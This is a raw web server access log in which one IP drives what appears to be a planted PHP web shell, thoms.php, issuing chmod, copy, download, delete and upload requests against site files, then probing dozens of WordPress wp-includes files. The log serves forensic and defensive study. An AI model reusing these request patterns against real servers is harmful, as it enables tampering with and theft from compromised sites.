45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?chmod=cjfuns.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&view=license.txt HTTP/1.1" 200 11917 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /bft.com.tw/client-global/cjfuns.php HTTP/1.1" 200 993 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&view=index.php HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global%2Fadmin.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global%2Fadmin.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?dl=admin.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13609 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/client-global/admin.php HTTP/1.1" 200 2051 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?del=profile.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13608 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&upload= HTTP/1.1" 200 12178 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global%2Fcjfuns.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global%2Fcjfuns.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?chmod=license.txt&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13609 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global%2Fcjfuns.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?dl=license.txt&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13609 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/client-global HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/client-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/client-global/ HTTP/1.1" 200 6500 "https://163.245.207.76:443/bft.com.tw/client-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?chmod=admin.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?chmod=profile.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global%2Fprofile.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global%2Fprofile.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/wp-includes/https-migration.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/wp-includes/css/ HTTP/1.1" 200 2298 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /thoms.php?del=cjfuns.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13609 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:18 -0400] "GET /bft.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/error-protection.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/style-engine.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/block-bindings.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/comment-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/shortcodes.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/nav-menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/taxonomy.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/template-loader.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/update.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/category-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/ms-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/post-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/theme.json HTTP/1.1" 200 2361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1351 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/pluggable.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/view-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/kses.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/link-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/utf8.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/media-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/plugin.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/registration.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/feed-atom.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:19 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/theme-templates.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/wp-diff.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 863 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/rss.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-http.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-control.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/compat.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/customize/ HTTP/1.1" 200 2138 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
